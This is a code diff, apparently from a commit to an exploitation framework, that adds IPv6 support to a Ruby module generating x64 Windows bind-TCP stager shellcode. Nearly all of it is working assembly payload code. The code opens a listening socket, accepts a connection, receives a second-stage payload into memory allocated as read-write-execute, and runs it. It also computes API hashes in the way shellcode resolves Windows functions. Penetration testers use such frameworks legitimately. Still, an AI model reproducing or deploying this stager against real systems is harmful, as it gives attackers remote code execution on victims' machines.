@@ -48,6 +48,10 @@ def include_send_uuid
48
48
false
49
49
end
50
50
51
+ def use_ipv6
52
+ false
53
+ end
54
+
51
55
def transport_config ( opts = { } )
52
56
transport_config_bind_tcp ( opts )
53
57
end
@@ -84,6 +88,11 @@ def required_space
84
88
# Reliability checks add 4 bytes for the first check, 5 per recv check (2)
85
89
#space += 14
86
90
91
+ # 2 more bytes are added for IPv6
92
+ space += 2 if use_ipv6
93
+
94
+ space += uuid_required_size if include_send_uuid
95
+
87
96
# The final estimated size
88
97
space
89
98
end
@@ -96,8 +105,18 @@ def required_space
96
105
# @option opts [Bool] :reliable Whether or not to enable error handling code
97
106
#
98
107
def asm_bind_tcp ( opts = { } )
99
- reliable = opts [ :reliable ]
100
- encoded_port = "0x%.16x" % [ opts [ :port ] . to_i , 2 ] . pack ( "vn" ) . unpack ( "N" ) . first
108
+ reliable = opts [ :reliable ]
109
+ addr_fam = 2
110
+ sockaddr_size = 16
111
+ stack_alloc = 408 +8 +8 *6 +32 *7
112
+
113
+ if use_ipv6
114
+ addr_fam = 23
115
+ sockaddr_size = 28
116
+ stack_alloc += 8 *2 # two more rax pushes
117
+ end
118
+
119
+ encoded_port = "0x%.16x" % [ opts [ :port ] . to_i , addr_fam ] . pack ( "vn" ) . unpack ( "N" ) . first
101
120
102
121
asm = %Q^
103
122
bind_tcp:
@@ -108,57 +127,80 @@ def asm_bind_tcp(opts={})
108
127
sub rsp, 408+8 ; alloc sizeof( struct WSAData ) bytes for the WSAData
109
128
; structure (+8 for alignment)
110
129
mov r13, rsp ; save pointer to the WSAData structure for WSAStartup call.
111
- mov r12, #{ encoded_port }
112
- push r12 ; bind to 0.0.0.0 family AF_INET and port 4444
130
+ xor rax, rax
131
+ ^
132
+
133
+ if use_ipv6
134
+ asm << %Q^
135
+ ; IPv6 requires another 12 zero-bytes for the socket structure,
136
+ ; so push 16 more onto the stack
137
+ push rax
138
+ push rax
139
+ ^
140
+ end
141
+
142
+ asm << %Q^
143
+ push rax ; stack alignment
144
+ push rax ; tail-end of the sockaddr_in/6 struct
145
+ mov r12, #{ encoded_port }
146
+ push r12 ; bind to 0.0.0.0/[::] family AF_INET/6 and specified port
113
147
mov r12, rsp ; save pointer to sockaddr_in struct for bind call
148
+
114
149
; perform the call to LoadLibraryA...
115
150
mov rcx, r14 ; set the param for the library to load
116
- mov r10d, 0x0726774C ; hash( " kernel32.dll", " LoadLibraryA" )
151
+ mov r10d, #{ Rex :: Text . block_api_hash ( ' kernel32.dll' , ' LoadLibraryA' ) }
117
152
call rbp ; LoadLibraryA( "ws2_32" )
153
+
118
154
; perform the call to WSAStartup...
119
155
mov rdx, r13 ; second param is a pointer to this stuct
120
156
push 0x0101 ;
121
157
pop rcx ; set the param for the version requested
122
- mov r10d, 0x006B8029 ; hash( " ws2_32.dll", " WSAStartup" )
158
+ mov r10d, #{ Rex :: Text . block_api_hash ( ' ws2_32.dll' , ' WSAStartup' ) }
123
159
call rbp ; WSAStartup( 0x0101, &WSAData );
160
+
124
161
; perform the call to WSASocketA...
162
+ push #{ addr_fam } ; push AF_INET/6
163
+ pop rcx ; pop family into rcx
125
164
push rax ; if we succeed, rax wil be zero, push zero for the flags param.
126
165
push rax ; push null for reserved parameter
127
166
xor r9, r9 ; we do not specify a WSAPROTOCOL_INFO structure
128
167
xor r8, r8 ; we do not specify a protocol
129
168
inc rax ;
130
169
mov rdx, rax ; push SOCK_STREAM
131
- inc rax ;
132
- mov rcx, rax ; push AF_INET
133
- mov r10d, 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
134
- call rbp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
170
+ mov r10d, #{ Rex ::Text . block_api_hash ( 'ws2_32.dll' , 'WSASocketA' ) }
171
+ call rbp ; WSASocketA( AF_INET/6, SOCK_STREAM, 0, 0, 0, 0 );
135
172
mov rdi, rax ; save the socket for later
173
+
136
174
; perform the call to bind...
137
- push 16 ;
175
+ push #{ sockaddr_size }
138
176
pop r8 ; length of the sockaddr_in struct (we only set the
139
- ; first 8 bytes as the last 8 are unused )
177
+ ; first 8 bytes as the rest aren't used )
140
178
mov rdx, r12 ; set the pointer to sockaddr_in struct
141
179
mov rcx, rdi ; socket
142
- mov r10d, 0x6737DBC2 ; hash( "ws2_32.dll", "bind" )
143
- call rbp ; bind( s, &sockaddr_in, 16 );
180
+ mov r10d, #{ Rex ::Text . block_api_hash ( 'ws2_32.dll' , 'bind' ) }
181
+ call rbp ; bind( s, &sockaddr_in, #{ sockaddr_size } );
182
+
144
183
; perform the call to listen...
145
184
xor rdx, rdx ; backlog
146
185
mov rcx, rdi ; socket
147
- mov r10d, 0xFF38E9B7 ; hash( " ws2_32.dll", " listen" )
186
+ mov r10d, #{ Rex :: Text . block_api_hash ( ' ws2_32.dll' , ' listen' ) }
148
187
call rbp ; listen( s, 0 );
188
+
149
189
; perform the call to accept...
150
190
xor r8, r8 ; we set length for the sockaddr struct to zero
151
191
xor rdx, rdx ; we dont set the optional sockaddr param
152
192
mov rcx, rdi ; listening socket
153
- mov r10d, 0xE13BEC74 ; hash( " ws2_32.dll", " accept" )
193
+ mov r10d, #{ Rex :: Text . block_api_hash ( ' ws2_32.dll' , ' accept' ) }
154
194
call rbp ; accept( s, 0, 0 );
195
+
155
196
; perform the call to closesocket...
156
197
mov rcx, rdi ; the listening socket to close
157
198
mov rdi, rax ; swap the new connected socket over the listening socket
158
- mov r10d, 0x614D6E75 ; hash( " ws2_32.dll", " closesocket" )
199
+ mov r10d, #{ Rex :: Text . block_api_hash ( ' ws2_32.dll' , ' closesocket' ) }
159
200
call rbp ; closesocket( s );
201
+
160
202
; restore RSP so we dont have any alignment issues with the next block...
161
- add rsp, #{ 408 + 8 + 8 * 4 + 32 * 7 } ; cleanup the stack allocations
203
+ add rsp, #{ stack_alloc } ; cleanup the stack allocations
162
204
^
163
205
164
206
asm << asm_send_uuid if include_send_uuid
@@ -172,9 +214,10 @@ def asm_bind_tcp(opts={})
172
214
push 4 ;
173
215
pop r8 ; length = sizeof( DWORD );
174
216
mov rcx, rdi ; the saved socket
175
- mov r10d, 0x5FC8D902 ; hash( " ws2_32.dll", " recv" )
217
+ mov r10d, #{ Rex :: Text . block_api_hash ( ' ws2_32.dll' , ' recv' ) }
176
218
call rbp ; recv( s, &dwLength, 4, 0 );
177
219
add rsp, 32 ; we restore RSP from the api_call so we can pop off RSI next
220
+
178
221
; Alloc a RWX buffer for the second stage
179
222
pop rsi ; pop off the second stage length
180
223
push 0x40 ;
@@ -183,18 +226,21 @@ def asm_bind_tcp(opts={})
183
226
pop r8 ; MEM_COMMIT
184
227
mov rdx, rsi ; the newly recieved second stage length.
185
228
xor rcx, rcx ; NULL as we dont care where the allocation is.
186
- mov r10d, 0xE553A458 ; hash( " kernel32.dll", " VirtualAlloc" )
229
+ mov r10d, #{ Rex :: Text . block_api_hash ( ' kernel32.dll' , ' VirtualAlloc' ) }
187
230
call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
231
+
188
232
; Receive the second stage and execute it...
189
233
mov rbx, rax ; rbx = our new memory address for the new stage
190
234
mov r15, rax ; save the address so we can jump into it later
235
+
191
236
read_more: ;
192
237
xor r9, r9 ; flags
193
238
mov r8, rsi ; length
194
239
mov rdx, rbx ; the current address into our second stages RWX buffer
195
240
mov rcx, rdi ; the saved socket
196
- mov r10d, 0x5FC8D902 ; hash( " ws2_32.dll", " recv" )
241
+ mov r10d, #{ Rex :: Text . block_api_hash ( ' ws2_32.dll' , ' recv' ) }
197
242
call rbp ; recv( s, buffer, length, 0 );
243
+
198
244
add rbx, rax ; buffer += bytes_received
199
245
sub rsi, rax ; length -= bytes_received
200
246
test rsi, rsi ; test length
0 commit comments